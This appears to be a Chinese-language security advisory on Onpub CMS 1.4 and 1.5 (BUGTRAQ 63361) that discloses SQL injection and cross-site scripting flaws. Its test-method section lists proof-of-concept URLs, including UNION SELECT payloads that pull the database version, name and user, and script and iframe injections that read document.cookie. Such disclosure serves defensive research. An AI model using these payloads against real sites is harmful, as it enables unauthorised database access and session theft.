发布日期：2013-10-26
更新日期：2013-10-29

受影响系统：

Onpub Onpub 1.5
Onpub Onpub 1.4

描述：

---

BUGTRAQ  ID: 63361

Onpub是移动网站内容管理系统。

Onpub 1.4, 1,5及其他版本存在跨站脚本及多个SQL注入漏洞，攻击者可利用这些漏洞执行未授权数据库操作。

<*来源：Marcel Bernhardt
  *>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

SQL-injection:

http://www.example.com/onpub/manage/index.php?onpub=EditWebsite&websiteID=-1%27[SQL-INJECTION
VULNERABILITY!]
http://www.example.com/onpub/manage/index.php?onpub=EditArticles&fullTextSearch=1&keywords=-1%27[SQL-INJECTION
VULNERABILITY!]
http://www.example.com/onpub/manage/index.php?onpub=EditWebsites&orderBy=-1%27[SQL-INJECTION
VULNERABILITY!]&order=ASC
http://www.example.com/onpub/manage/index.php?onpub=EditArticles&orderBy=title&order=[SQL-INJECTION
VULNERABILITY!]
http://www.example.com/onpub/manage/index.php?onpub=EditImage&imageID=2%27a[SQL-INJECTION
VULNERABILITY!]
http://www.example.com/onpub/manage/index.php?onpub=EditArticle&articleID=1%20[SQL-INJECTION
VULNERABILITY!]

http://www.example.com//index.php?onpub=EditWebsite&websiteID=-1 union
select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@version--
http://www.example.com//index.php?onpub=EditWebsite&websiteID=-1 union
select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@database--
http://www.example.com//index.php?onpub=EditWebsite&websiteID=-1 union
select
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,@@user--

Cross-site scripting:

http://www.example.com/onpub/manage/index.php?onpub=EditImages&page=2%27%22%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/onpub/manage/index.php?onpub=EditImages&page=137%20>"<iframe%20src=http://www.vulnerability-lab.com>

建议：

---

厂商补丁：

Onpub
-----
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://onpub.com/

浏览次数：2503
严重程度：0（网友投票）